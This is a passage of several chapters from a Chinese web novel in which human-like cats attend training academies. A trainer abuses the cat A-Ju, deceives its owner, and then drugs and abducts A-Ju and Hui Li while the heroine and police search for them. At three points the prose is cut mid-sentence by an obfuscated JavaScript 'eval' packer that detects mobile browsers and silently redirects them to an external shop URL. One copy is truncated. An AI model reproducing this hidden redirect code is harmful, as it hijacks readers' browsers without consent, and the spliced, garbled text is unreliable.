阿橘相貌漂亮,似乎是纯正的品种猫,性格又柔顺可爱,比他那凶巴巴的样子强多了。 说到成绩,阿橘也是猫德大赛的组冠军呢,江有鱼如果收养了阿橘,岂不是就有两枚奖牌可以挂在大门口了? 江有鱼可是很想壮大猫德学院的,这么一想,她根本不可能拒绝嘛! 灰狸从没想过,江有鱼可能养其他的小猫,一时间心烦意乱,只是蛮横道:“反正就是不会收养你的,你死心吧!” 阿橘失望极了,忽然噗通跪在灰狸面前:“灰狸大哥,我求求你,你帮我跟江老师说说情,让她收养我吧!” 灰狸大惊,连忙去扶他:“你这是做什么?起来!” 阿橘却不起来,哭着掀开上衣,他的肩背青紫交错,都是淤痕:“张老师说,主人生我的气了,除非我听话训练,否则,主人永远都不会来看我的。” “可是,训练实在太苦了……” “张老师不给我吃东西,还要我顶着大太阳在外面跑步,每天都要跑十几公里,还要学爬墙、障碍躲避,我跑不动了,他就用棍子打我……” “为了主人,我愿意训练,现在,主人都不要我了,我干嘛还要留在这里?” 灰狸看着那道道青紫,心下大为震撼,他怒道:“张老师?他怎么敢打你,江有鱼说,体罚小猫是违背职业道德的!” 阿橘哪里懂职业道德又是什么玩意儿,只是哭道:“我不喜欢猫猫天才学院,如果我做了江老师的猫,就可以回去上有鱼猫德学院了,我不想再挨打了……” 他哭的一抽一抽:“求求你了,灰狸大哥,你帮我告诉江老师,我一定听话,做个好猫,不吃零食了,她让我做什么我就做什么!” “我不想流浪,我也不想再挨打了……” 灰狸望着阿橘的鼻涕眼泪,心里阵阵难受。 他当然清楚,像是阿橘这种千宠万爱长大的小猫,能被好人收养,就是最大的福气。 无论是从感情上还是道义上,他都应该帮帮阿橘,但是……阿橘为什么偏偏挑中江有鱼呢? 灰狸的心,矛盾极了。 他不知道自己为什么不想让江有鱼收养其他的猫,这种感情就像是半夜听见老鼠叫,却又始终抓不到,让猫抓心挠肝,莫名其妙。 阿橘哭累了,掀起衣摆,擦了擦自己的眼泪,灰狸看见他侧腰上的一大块青痕,闷闷地叹息一声。 也罢,什么猫有什么命。 虽然一想到,阿橘会睡在江有鱼的家里,跟江有鱼一起吃饭、一起玩,灰狸就浑身不舒服,但是,与这些相比,看到有猫被虐待,更让他痛苦。 就当是救救阿橘,把江有鱼的关爱分给他一点吧。 他忍住心中酸楚,冷冷道:“我可以帮你问问江有鱼的意思,但她愿不愿意收养你,我可不保证。” 阿橘登时喜出望外,紧紧抱住了灰狸大腿:“谢谢灰狸大哥!只是,你要怎么联系江老师呢?集中训练营是不允许我们出去的。” 灰狸嗤笑一声:“我自有办法。” 只是一个看门的而已,想要拦住他?那是做梦! 他拉过阿橘,贴近他的耳朵轻声说了些什么,阿橘听得两眼放光,频频点头。 已经是午夜十二点,江有鱼却依然没有睡着。 不知道是不是上次杀人犯的事情把她吓出阴影了,现在灰狸不在家时,她总觉得不安全,翻来覆去就是睡不着。 窗子外忽然传来轻轻一响,江有鱼吓了一大跳,顺手抄起藏在床下的棍子,战战兢兢问道:“谁?我喊人了!” “是我。” 声音好像是灰狸,江有鱼用棍子掀开窗帘,果然见他趴在窗外的小围栏上,一双眼睛定定望着她,神色很奇怪。 她心中一喜,接着又是一忧,难道灰狸受不了训练营,自己弃赛跑回来了? 她连忙打开窗子:“你怎么回来了?” 灰狸翻进屋里:“我是偷跑出来的,阿橘帮我打掩护,那些守卫还没发现我溜走了。但我必须在天亮前回去。” 时间有限,灰狸尽量简洁地把阿橘的情况说了:“……就是这样,他托我问你,能不能收养他。” 江有鱼大吃一惊:“这……” 再养一只猫,她真的没想过。这年头,养猫是个不小的负担,她养灰狸一个就够了。 但如果阿橘真的被抛弃了,又在猫猫天才学院挨了打,她不帮阿橘的话,还有谁能救阿橘呢? 这个该死的张佑辉,还骗她说阿橘的伤是训练摔的!不管怎么说,阿橘不能再落在他手里! 她皱着眉:“这事情不是一时半会儿能决定的,毕竟现在阿橘的主人还没正式抛弃他……” “这样吧,我先跟石小姐协商一下,要是她真不要阿橘了,我再介入。” 说罢,江有鱼便在微信上给石小姐留了言:石小姐你休息了吗?有一些关于阿橘的事情,想跟你商量一下。 石小姐居然还没睡,很快回了信息:什么事? 江有鱼:听说你不想要阿橘了,如果真是这样,能不能把阿橘交给我养呢? 石小姐:什么意思???? 江有鱼正要继续打字解释,一个微信语音就直接拨过来了。 电话那头,石小姐的口气听起来极为疑惑:“深更半夜的你在说什么?谁说我不要阿橘了?” “咦?是猫猫天才学院的张佑辉老师说的呀,他说你已经很久都没去看过阿橘了,给你打电话你也不接……” “放屁!张佑辉什么时候给我打过电话?”石小姐的声音听着不像是撒谎,“不是他说,让我不要去看阿橘的吗?” 江有鱼隐隐觉得不对了:“他不让你去看,你就不去了?” “是啊,张佑辉说,小猫看到主人给他撑腰,就容易不听老师的话,想要阿橘配合减肥,我就不能出现,以免影响训练效果……” “这么说,你没有想抛弃阿橘?” “废话,我天天想阿橘想的睡不着觉,要不是看到阿橘的照片真的瘦了不少,我早就坚持不下去了。我还想,瘦成这样我就已经很满意了,正打算接阿橘回家住几天呢……” 江有鱼的心直往下沉:“那阿橘参加云朵市猫德大赛的事情,你知道吗?” 石小姐的声音听起来一片茫然:“猫德大赛?啥玩意?” 猫德大赛,尤其是猫德大赛体育运动组的比赛,因为涉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981518|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及一些危险活动,原则上必须获得猫主人的同意,学院才能选送这名选手。 可是石小姐居然没听到任何信息,这事情不对头!只怕从头到尾,石小姐都蒙在鼓里,阿橘受的那些训练,她也压根不知道! 张佑辉一边阻止石小姐见阿橘,一边又骗阿橘,只要拼命训练就能见到主人,看到她跟阿橘的主人认识,还要编造阿橘被主人抛弃的谎言…… 张佑辉到底要干什么? 想到方槐和子衿,想到其余五名选手都是猫猫天才学院的学员,江有鱼觉得,她似乎明白了。 江有鱼深吸口气:“石小姐,你被骗了。今天我看见阿橘了,他身上都是伤,恐怕,他在猫猫天才学院受到了虐待……” 电话那头传来砰地一声,像是有人直接跳到地上,石小姐惊道:“你说什么?” 江有鱼把自己的怀疑都说了一遍:“……事情就是这样,石小姐,我怀疑张佑辉是为了让阿橘夺得组冠军,用了非常规的手段训练他,不让你见阿橘,也是为了不让你发现端倪。” 石小姐的声音都抖了:“可是、可是阿橘看起来真的瘦了很多,身材也健康了……” 江有鱼沉声道:“如果不给小猫吃别的东西,只给他补充蛋白粉,再配合高强度体育训练,确实有可能在2个月内达到这样的效果。” “但是这种方式,会损害小猫的肝肾功能,表面看着是健康了,但是后患无穷。石小姐,我早就劝过你,一个月瘦十斤的方法是不可取的……唉……” 石小姐呜咽起来,悔恨交加:“我真的不知道……这个猫猫天才学院,居然这么对待阿橘!老娘不把他们告个倾家荡产,老娘就白活了!” “你别急,现在我们只是怀疑,没有实证。这样吧,你先想办法把阿橘接回来,然后带他去验伤,等到鉴定结果出来,再发作也不迟。” 石小姐一一答应下来:“现在你的学员跟阿橘住一个屋子是吗?帮我给他带句话……不,空口白话,阿橘肯定不会信的,你在有鱼猫德学院是吧?等我一下,我马上过来!” 十分钟后,石小姐的车风驰电掣地停在有鱼猫德学院门口,石小姐穿着睡衣从里面跳出来,眼眶通红,满脸浮肿。 她从身上掏出一个旧旧的小项圈,哽咽道:“请你替我把这个给阿橘,就说,妈妈永远不会不要他的,妈妈知道他受苦了,明天,妈妈就去接他回家。” 那个小项圈,看起来十分眼熟,项圈部分是细细的金属丝,挂着一个心形吊坠,吊坠上还刻着一行小字:love forever(爱你永远) 江有鱼仔细回想,恍然忆起,她在石小姐朋友圈的头图看到过这个项圈。 三个月的阿橘,脖子上就套着这个项圈,安然地睡在石小姐掌心上。 这是一份相伴一生的承诺,石小姐早在很久之前,就许下了。 而且,她永远也不打算反悔。 灰狸就在一边看着,今夜发生的事情,让他大受震撼。 他忽然有几分羡慕阿橘,羡慕这只又笨又胆小的家猫,因为阿橘有一个很爱他的主人,而这,就是属于小猫最珍贵的宝物了。 灰狸接过项圈,第一次对江有鱼之外的人讲了话:“放心吧,我一定把你的话带到。” 说罢,灰狸轻盈地窜上了屋顶,几步就消失在夜色之中。 26.阿橘不见了 “真的?主人没有不要我?明天就接我回家?”阿橘激动的尾巴像狗一样疯狂摆动。 “是的,你跟你的主人都被那个张老师骗了。”灰狸把那个小项圈塞给阿橘,“现在安心睡觉吧,明天你就可以回家了。” 阿橘接过小项圈,认出是自己的旧物,还带着主人手心的味道,依恋地把项圈举到脸跟前,挨挨蹭蹭个没完。 他立刻就想戴到脖子上,可惜现在他太大了,已经带不上这个小项圈了。 阿橘想了想,把项圈当成手镯,挂在了自己的手腕上。 戴着它,就能想起依偎在主人掌心的感觉,今晚一定可以做个好梦的! 于是阿橘难得睡了个好觉,猫呼噜声震天,吵得灰狸一夜没睡好。 石小姐说到做到,第二天,就杀往猫猫天才学院。她在路上给张佑辉打了个电话,表示自己要去接阿橘。 张佑辉又拿出一贯的谎言,哄劝石小姐不要来,但是石小姐这次可不吃这一套了。她告知对方自己已经在路上了,请张佑辉准备一下,马上把阿橘送出来,她大约九点就到。 张佑辉只好答应下来,挂了电话,脸色瞬间便阴沉了。 这他妈的臭娘们儿,怎么偏这会儿心血来潮来看阿橘? 难道说,她知道了? 想起昨天阿橘与江有鱼的互动,张佑辉心里就打了个突,一定是江有鱼多了嘴…… 真是个贱人!阿橘又不是她的猫,甚至阿橘的主人还跟她闹过不愉快,她管这闲事干嘛? 阿橘参赛的事情,本来就是违规的,现在主人找上门来,恐怕成绩都要取消,他这两个月的辛苦不就全白费了? 何况,成绩事小,阿橘身上的伤才是大事。 假如一切顺利,阿橘在猫德大赛结束一个月后,才能见主人。 那时候,阿橘身上的伤已经好了,阿橘头脑又很简单,他只要吓唬阿橘两句,石小姐就什么都不会知道。 可现在……阿橘身上的伤口铁证如山,到医院一验伤,石小姐怎能与他善罢甘休? 殴打、逼迫、哄骗小猫,严重违反了职业道德,他的猫德训练师证会被吊销,以后也难以找到工作了! 无论如何,不能让阿橘跟主人见面,而且,是永远不能见面。 张佑辉面无表情地看了看腕表,现在是七点整,距离九点还有两个小时。 阿橘,别怪我,要怪就怪你的主人吧。 虽说集中训练营原则上不准老师与学员们接触,但猫猫天才学院,可是他们的地盘。 只要他有需要,就一定能见到阿橘的。 他弯腰,从抽屉里拿起一个小东西,别在自己的裤腰带里,向门外走去。 八点,起床铃响起,小猫们打着哈欠起床洗漱,并在工作人员的招呼下,排队前往食堂吃早饭。 阿橘的心情特别好,眉开眼笑的,都要唱起歌了。 心情好,饭也吃得多,阿橘已经很久没吃过正常的食物,像是饿死鬼一般埋头痛吃,一个猫十分钟内就喝了一大盆粥,外加四个叉烧包、三个鸡蛋、两根玉米。 灰狸都惊呆了,更加确信这小子只能靠人养,这种饭桶在外面流浪,讨多少饭都不够他吃的。 阿橘吃得开心,很快就眉头一皱,想要嗯嗯了。这是他的习惯,吃了早饭肯定要上厕所。 他跟灰狸说了一声,就往厕所走去。 灰狸却站起来:“我跟你一起。” “咦?你也想要上厕所?” 灰狸无语地翻个白眼,对这没有丝毫忧患意识的小笨猫绝望了:“上厕所可是一只猫最脆弱的时候,况且这个猫猫天才学院一点都不安全,作为同伴,我当然要给你望风了!” 就这样,两猫一齐到了食堂的厕所。 为了保证大家的用餐体验,厕所设置在了食堂外面,需要走出去一小段路再转个弯才能到,因为不太方便,这里一向少有人来。 阿橘先进去了,灰狸便站在门口给阿橘望风。 这个厕所放的香薰是柑橘香型,对猫咪来说,就像是便便一样恶心,灰狸厌恶地飞机耳了,尽量闭住气,把脸转向上风侧,以免嗅到那股味道。 也正因如此,灰狸并没有发现,潜藏的危险。 “啊!!!!” 厕所里忽然传来一声惨叫,正是阿橘的声音。灰狸心一紧,立刻冲进去。 他一进门,就看到让他目眦欲裂的一幕。 厕所隔间的门是打开的,阿橘痛苦地在地上翻滚,一条胳膊以不自然的角度扭曲着,显然是骨折了。 阿橘身侧,则站着个穿一身保洁制服的男人,脸上戴着口罩,手中握着的却不是扫把,而是货真价实的钢管,显然,阿橘的伤就是他打的。 这个男人,灰狸认识,正是张佑辉! 灰狸炸毛了,他冲过去护住了阿橘,怒道:“你做什么!” 张佑辉显然也没想到会有人撞破他的行动,一时间有些错愕。 今天的计划实在是不顺,但事已至此,也只能硬着头皮执行下去。 他作为阿橘的老师,知道阿橘吃饭就想上厕所的习惯,这才特意埋伏在厕所里,本打算一棒直接将阿橘打晕带走的。 谁知阿橘这两个月的训练还真没白训,躲避攻击的速度一流,在最后关头闪开了攻击,这一下只打到了阿橘的胳膊,还让他出声惊动了别人,真是失策。 还好,来的也是只猫罢了,即使跟着阿橘一起消失,也不会有什么问题。 “灰狸是吗?”张佑辉随手挥动了两下钢管,“有没有人跟你说过,不仅好奇心真的会害死猫,管闲事也一样会害死猫的?” 这句话说完,他猝然暴起,抡动钢管,向着灰狸砸过来! 呜呜风声响起,灰狸却不闪不避,连脸上的表情都不曾动一动。 他利落地一抬手,单手便捏住了钢管前端,他的手力气好大,像只老虎钳般死死卡住了钢管。 钢管的去势顿时止住,张佑辉双臂用力下压,却无法令其寸进分毫,惊得他头上冷汗直冒。 这是什么猫?力气这么大? 这就是他见识短浅之处了,平常他打的猫都是家猫,乖顺温和,经历严格的猫德教育,全没有反抗意识,即使个子再大也不敢还手。 但灰狸哪是捱打不还手的猫?不仅会还手,甚至还具有丰富的干架经验,对付一个张佑辉,还是轻松的很。 灰狸单手扯住钢管,猛一用力,喝道:“过来吧你!” 张佑辉身不由已,被钢管带着向前扑去,灰狸伸手便把他提了起来,张佑辉的个子比灰狸矮上二十公分,这一提,他的双脚都离地了,徒劳地在空中蹬着腿。 阿橘躺在地上,都快看傻了。 天啊!灰狸大哥实在是、实在是太帅气了!那个可怕的张老师,原来这么不堪一击吗? 灰狸对张佑辉这种人没有丝毫好感,顺手就想把他砸在洗手台上。 阿橘连忙阻止:“不可以!如果你打了他,江老师会有麻烦的!” 按照灰狸的个性,他一定会打断张佑辉的胳膊,给阿橘出口气。可阿橘一提醒,他心中想起自己上次打了杀人犯,江有鱼也得跟着受盘问,不由迟疑了起来。 就是这一迟疑的功夫,坏了大事。 张佑辉抓住机会,从自己的裤腰带上取下一瓶喷剂,以迅雷不及掩耳之速,对准灰狸的脸一喷。 灰狸立刻感觉昏昏沉沉,手脚发软,四肢不再受自己控制,在原地像是醉了酒一般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985504|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱晃起来。 这感觉他很熟悉,被麻醉针击中后,就是这样……卑鄙的人类,他们就没有点新花招吗? 他想叫阿橘快跑,却喉咙发紧,再也出不了一声,张佑辉买的麻醉喷剂非常强力,灰狸眼睛逐渐翻白,咕咚一声倒在地上。 阿橘吓傻了,又想逃跑,又不忍心丢下灰狸不管。他本就是只胆小猫,这种情况超过了他的猫脑cpu承载范围,顿时宕机在那里。 张佑辉喘息未定,狠狠踢开灰狸,走到阿橘面前,对着他的脸也喷了一下。 于是,阿橘也翻着白眼倒下了。 张佑辉尚不解恨,正想抄起钢管对着灰狸再来两下,却听得窗外有女人的声音,也是来上厕所的。 他不敢再耽误时间,横生枝节,立刻把阿橘跟灰狸塞进清洁车的大垃圾桶里,推着清洁车出去了。 这里是厕所,一个完美的犯罪地点。这里没有监控,无论发生什么事情,都不会存在痕迹。 何况,失踪的只是两只猫而已,这世界上,谁会为了两只猫大动干戈呢? 阿橘有主人,处理起来麻烦些,但只要赔些钱,总能了事的,至于灰狸,看资料连主人都没有,更不会有人管他。 何况,连钱都不用他赔。阿橘是参加猫德大赛封闭训练营期间“意外死亡”的,校方才是主要负责人。 至于他,只需要承担“瞒着学员家长报名比赛”的责任,不痛不痒,完全不用在意。 张佑辉哼着歌,推着清洁车出去了,一路上与许多人擦肩而过,但没有任何一个人注意到这个清洁工。 八点五十六分,石小姐到达了猫猫天才学院。 她没有在大门前看到自己日思夜想的阿橘,只看到了满头汗水的张佑辉。 石小姐的心一下子提起来了,她几步冲上前,几乎是恶狠狠地问道:“阿橘呢?不是让你把阿橘送出来吗?” 张佑辉擦擦头上汗水,抱歉道:“真对不起石小姐,阿橘……暂时找不到了。” 石小姐不敢相信自己的耳朵,她瞪向张佑辉:“找不到是什么意思?你是阿橘的负责老师,他一直跟你在一起,你怎么能把他看丢了?” “这件事情,我要先跟您道歉,因为阿橘自己想要参加猫德大赛体育运动组的比赛,又怕您不允许他参加这么危险的活动,所以我们就先给阿橘报了名,没有通知您。” “阿橘已经闯入总决赛,最近在参加封闭训练营,按规则,我不能跟他在一起。刚才,训练营的工作人员发现他不见了,我也是刚刚知道这个消息。” 张佑辉一鞠躬:“不过,责任还是在我,您把阿橘交给我,我却把他弄丢了……” “那赶快找去呀!” “我们已经在找了,只是还没找见。我想,可能是阿橘太久没见到你了,说不定,他自己跑回家去了?要么,您回家等等看?” 石小姐看着他那假惺惺的样子,心里就来气。 她已经让灰狸带了话,说今天就来接阿橘,阿橘怎么可能会自己跑回家? 分明是不想让她跟阿橘见面,编瞎话拖延时间! 想起此人虐待阿橘,石小姐的眼睛就红了。 她失控地上前,挥动手上的包去砸张佑辉:“胡说八道!你就是怕我跟阿橘见面吧?告诉你,你虐待阿橘的事情我都知道了,要是阿橘有个三长两短,我跟你拼命!” 啪的一声,张佑辉的头上吃了一下,打的他头偏了过去,脸上留下一道红痕。 张佑辉并没还手,只是颤声反驳:“石小姐,阿橘丢了是我的责任,但您怎么能说我虐待阿橘呢?说话要负责的!” 他眼中涌动着委屈,嘴角却勾起一个只有他们两人懂的挑衅笑意:“您……有证据吗?” 27.囚笼 石小姐被他气的差点吐了血。 她一把甩下手包,从汽车后备箱里掏出来一个换轮胎的扳手,就往上冲。 旁边的两个保安大惊,立刻冲上前拦住,口中喊着让石小姐冷静。 “闪开!别拦着我!今天老娘跟他没完!” 无奈石小姐再怎么彪悍,也难以抵挡两个壮汉的夹击,只得狠狠将扳手丢过去。扳手擦着张佑辉的头发丝滑落,只砸在他肩胛上,张佑辉闷哼一声,想来是砸的不轻。 石小姐怒气难平,拔腿就往学校里冲:“阿橘肯定还在学校里,把阿橘给我找出来!这件事必须给我一个交代!” 保安看她那样子,哪敢让她进去,劝道:“小姐,学校是封闭式管理,无关人等不能进入,您要么还是回家等消息吧,等我们找到您的猫,一定立刻通知你!” “我是阿橘的主人,怎么能叫无关人士?指望你们,能找到个屁!你们都是一伙的!” 几人在校门口揪揪扯扯,闹个不休,保安队长听说情况,带着诸多保安前来支援,口口声声石小姐并非校内人士,不得进校门。 石小姐势单力薄,不是他们的对手,只得含恨先撤退,她一脚油门把车子开到一百迈,冲向有鱼猫德学院。 江有鱼闻听,亦是惊道:“阿橘失踪了?” 石小姐抱着头,懊悔无尤:“阿橘非常乖,从来不会乱跑,肯定是张佑辉故意把阿橘藏起来的!” 她说着说着,忍不住哭了起来:“怎么办?张佑辉会不会对阿橘不利?猫猫天才学院是他们的地盘,我进都进不去,这要怎么办?” 江有鱼安慰道:“你别急,如果真的出了事情,灰狸肯定会半夜偷溜出来找我们的,现在先等等看。” 话是这么说,江有鱼心里也没底。她万万想不到,张佑辉有这么大胆,见事情败露,索性来个失踪…… 阿橘不会真的出事了吧? 就这样心急如焚地等到第二天天亮,灰狸依旧不见踪影。这下,连江有鱼也等不下去了。 若阿橘还跟灰狸在一起,灰狸一定会来问她们,为何没把阿橘接走;若是阿橘被外人带走了,灰狸也必定会回来报告情况。 可是,现在连灰狸都没回来,这太奇怪了! 看自己手环上的定位,代表灰狸的小红点还在猫德学院内,难道说,灰狸也跟阿橘一起…… 江有鱼只要一想到这个可能性,脸就白了。 她再稳不住,哆哆嗦嗦抓住石小姐的手:“我记得阿橘是纯正的赛级血统吧?你多少钱买回来的?还有发票吗?” “两万,发票是没有了,不过我是网上购买,能找到电子订单。你问这个干什么?” “两万……那肯定够立案标准了……”江有鱼一把抓住石小姐的手;“我们报警!” 石小姐疑惑道:“猫失踪,也能报警?警察管吗?” “不要报案说丢了猫,说是丢了钱!”江有鱼冷静分析,“阿橘是价值两万元的财物,你就说,怀疑阿橘被人盗窃,这样,警察就不能不管了!” 石小姐茅塞顿开,一把抓起电话就要报警,却又被江有鱼拦住。 “不要电话报警,去线下报警!”江有鱼的头脑疯狂转动,想要尽量提高救回两猫的成功率:“我在警察局有熟人,我们到那里去报案,她会处理的更尽心!” “那还等什么?快走啊!” 两人急匆匆驱车向警察局而去,石小姐一夜没睡,脸色蜡黄,江有鱼披头散发,神色灰败。 灰狸也落到了虐猫者的手里,一想到这件事,江有鱼便觉得头晕目眩,紧张的后脑都一阵阵抽痛。 张佑辉会不会打他?不,灰狸很壮实,性格也很凶悍,不会吃亏的…… 但不管怎么说,灰狸只是一只猫啊!如果人类存心想要暗算的话,下手的机会可太多了! 一想到灰狸也可能挨打,江有鱼就心痛的无法呼吸,她满脑子都是些胡思乱想,几乎要把自己逼疯了。 也许这样子想很卑鄙,现在,她很庆幸灰狸是跟阿橘一起失踪的。 阿橘是价值两万元的财物,还有主人,灰狸却一个钱都不值,若是只有灰狸失踪,江有鱼甚至都无法报警。 她暗暗下了决定,将来等她收养了灰狸,她一定要给灰狸上巨额财产保险! 灰狸永远不会有电子订单来证明他的身价了,这样,起码保险公司能够证明,灰狸是一只非常昂贵、非常珍稀的小猫,是她江有鱼不可或缺的“宝物”! 警察局离得不算远,两人很快就到了,冉晨星正好在值班。 石小姐到一边,按照江有鱼说的话做了报案登记,江有鱼则私下跟冉晨星把事情说了一遍。 冉晨星也是养猫的人,知道这种事情的处理难度,当即点头道:“你放心,我会尽力!” 出警的除了冉晨星,还有一个叫任云川的男警官,按理说本不应该带着江有鱼两人去,但江有鱼的手环是寻找灰狸的重要凭据,且石小姐也坚持要去,冉晨星就破例了一次。 一行四人,迅速往猫猫天才学院赶去。 保安队长依然用老一套说辞来对付他们,但这一次,冉晨星上前一步,亮出警官证,沉声道:“现在是警察办案,你们这个学院的规矩大,还是法律大?” 保安队长陪着笑脸迂回道:“请让我们跟校领导商量一下……” “不用了!我再警告你们一遍,现在是警察办案,如果你们再推三阻四,将视为阻挠公务,我有权采取强制措施!” 任云川适时亮出手铐,保安队长再不敢说话了,冉晨星瞥他一眼,干脆命令道:“云川,你跟保安队长去他们监控室,看看有没有蛛丝马迹,其余人跟我走。” 石小姐急道:“为什么不直接抓捕张佑辉?他一定知道阿橘在哪!” 冉晨星却摇摇头:“现在你报的是盗窃案,若是没抓到现行,只是怀疑,我们不能直接把张佑辉定成嫌疑人,还是要找到证据才行。” “江老师,你看灰狸的定位在哪里?快带我们过去。” 江有鱼连忙循着定位往里走,在心中暗暗祈祷,灰狸千万别出什么事。 她在手环上看到,灰狸的定位一夜都没动过,灰狸一定是被关起来了,只是,这世界上有什么地方,能关住灰狸呢? 灰狸醒来的时候,发现自己正待在一个极度狭小的空间内 这里全无一丝光亮,空气也极不流通,散发着一股灰尘和机器味。 他不知自己身在何处,连脑子也不甚清晰,那是强力麻醉剂留下的后遗症。 他晃晃脑袋,发现身边躺着的阿橘,顿时清醒了一半。 那个卑鄙的张佑辉偷袭了他,现在,他们都被张佑辉抓住了! 他连忙抓起阿橘听了听心跳,只觉心跳有力,阿橘没有性命危险,只是昏迷不醒。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989683|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 灰狸在阿橘脸上胡乱拍了几下,阿橘抽了口气,终于醒过来。 他一醒来,便惊恐地想要嗷嗷叫,灰狸眼疾手快,一把捂住他的嘴,压低声音警告道:“别叫!你想把坏人引来吗!” 灰狸这么做,是出于谨慎的本能,张佑辉没有把他们杀掉,而是扔在这里,谁知道有什么阴谋诡计? 现在他根本摸不清周围状况,还是保持安静,让敌人以为他们还昏迷着好了。 他禁止阿橘出声,自己悄悄在这个小房间里摸了一遍,这才确认了房间的全貌。 这里说是个房间,也就跟厕所一样大,地面刚够他们俩并排躺下,应该是用来储藏杂物的,但此时根本没有任何杂物在里面,墙壁光秃秃,地面空荡荡。 这里没有窗子,只有一扇门,灰狸用力推了推,门纹丝不动,看手感,这门很结实。 他趴在门上侧耳细听,能听见一些模糊的脚步声,以及人类说话的声音,距离他们很远,好像来自头顶上,听起来也不像是张佑辉的声音。 灰狸至此,才相信张佑辉不在这里,大大松了口气。 他这一松气,阿橘也跟着出声了:“我……我可以说话了吗?” 灰狸点头:“说吧。” 阿橘的眼泪又吧嗒吧嗒掉下来了:“灰狸大哥,我、我胳膊好痛……” 灰狸这才想起,阿橘的手臂已经被打断了,阿橘这一哭出来,便再收不住了,喵嗷嗷地叫痛。 空间本就狭小,阿橘这样一哭,灰狸觉得耳朵都要震聋了,他掏掏耳朵,无奈道:“好了!哭也没用,只会浪费体力,想想怎么出去吧!” 阿橘悲观极了:“怎么可能出得去?我们连自己在哪都不知道,这里又没吃的,又没水喝,我又受了这么重的伤,我肯定要死了。” “别说丧气话了,一定有希望的!”灰狸鼓励道:“你的主人很爱你,她今天肯定会过来找你的,早晚能找到这里来!” 往常提到主人,阿橘就跟打了鸡血一样兴奋,可现在,阿橘已经彻底绝望了:“是张佑辉把我们关起来的,主人又不知道我在哪里,如果张佑辉不说,谁能找到我们呢?” “江有鱼能!” 一片黑暗中,阿橘忽然感觉到两只手搭在自己肩膀上。他抬头一看,灰狸目光炯炯,大声说道:“江有鱼一定能!” 灰狸重复说了两遍,不知道是说给阿橘听还是自己听:“我身上装有定位器,江有鱼能够看到我的位置,如果我两天都没回去,江有鱼就会知道不对了,肯定会来找我们的!” 他这么一说,阿橘眼睛一下就亮起来,灰狸又趁机给阿橘打气,总算把阿橘哄得不哭了。 灰狸嘴上说着江有鱼会来找他们,自己心里却没底。 他倒不是怀疑江有鱼不想救他,只是,灰狸永远不会把所有的希望都寄托在一个人类身上。 江有鱼也许明天来,也许后天来,可是以他们现在的状况,能撑得过明天、后天吗? 他肚子已经饿的咕咕叫,阿橘受伤的手臂也已经红肿起来,看起来颇为吓人。 灰狸在街头见过这种情景,之前有个兄弟就是不慎被电动车压断了前腿,伤口得不到医治,很快就红肿发炎,随后他就在高烧中死去了。 若是阿橘死了…… 灰狸甩甩头,不愿去想了,他强迫自己冷静下来,他们不能干等着人来救,必须自己想办法! 28.拯救与自救 江有鱼带着冉晨星,来到了手环显示的灰狸位置,却傻了眼。 眼前不是什么建筑,而是障碍赛的场地。 那是一个很深的人工湖,人工湖正中央是一座高台,上面有舞台跟led屏幕,正是比赛终点。 高台周边,竖立着梅花桩、独木桥、大摆锤等机关,现在,这些机关都没有启动,几个工人正在人工湖边站着,忙碌着往外抽水。 冉晨星上前询问那几个工人:“师傅,你们这是做什么啊?” 工人答道:“这机关都是为了比赛专门租来的,现在比赛结束了,我们就把这些机关拆了送走,还有下家等着用嘞。” 冉晨星了解地点点头,她知道这种比赛用的机关器械都是从游乐工厂特别定制的,耗资甚巨,很少有学院会为此订做一套,都是租赁居多。 这些机关器械在制作时,就已经考虑过反复拆卸利用的可能性,只需要拧松几个关键的螺丝,就能顺利拆卸。 现在工人们抽水,应该就是为了给拆卸工作留出空间。 冉晨星询问道:“那方不方便让我们上去看看?我是警察,正在办案。” 警官证开路,工人们自然无有不允,江有鱼等人走安全通道来到高台上,却大失所望,台上空空荡荡,哪里有灰狸的踪迹? 既然不在上面,那…… 她看向人工湖,里面的水足有几米深。 难道说,灰狸……淹死了? 江有鱼只觉一阵天旋地转,冉晨星看她面色不对,连忙上来扶着她:“怎么了?” 江有鱼指着那个湖,嘴唇抖得一句话都说不出来。那个猜测太恐怖,她不敢想,不敢说,生怕吐露出口,就会应验。 难道,张佑辉真的这么丧心病狂,要杀猫灭口吗? 冉晨星登时明白了,她脸色也沉了下来,急切地询问工人:“这水要多久才能抽干?” “三个多小时左右吧。怎么了,警官?” “抽水的时候,你们注意看着点,下面有没有尸体!” 工人吓了一大跳:“尸……尸体?” 冉晨星连忙解释:“啊,是猫的尸体,不是人的,你们别慌。” 冉晨星在那边交涉,石小姐则默默走到江有鱼旁边,一把攥住了江有鱼的手,那手力气很大,冰凉冰凉的。 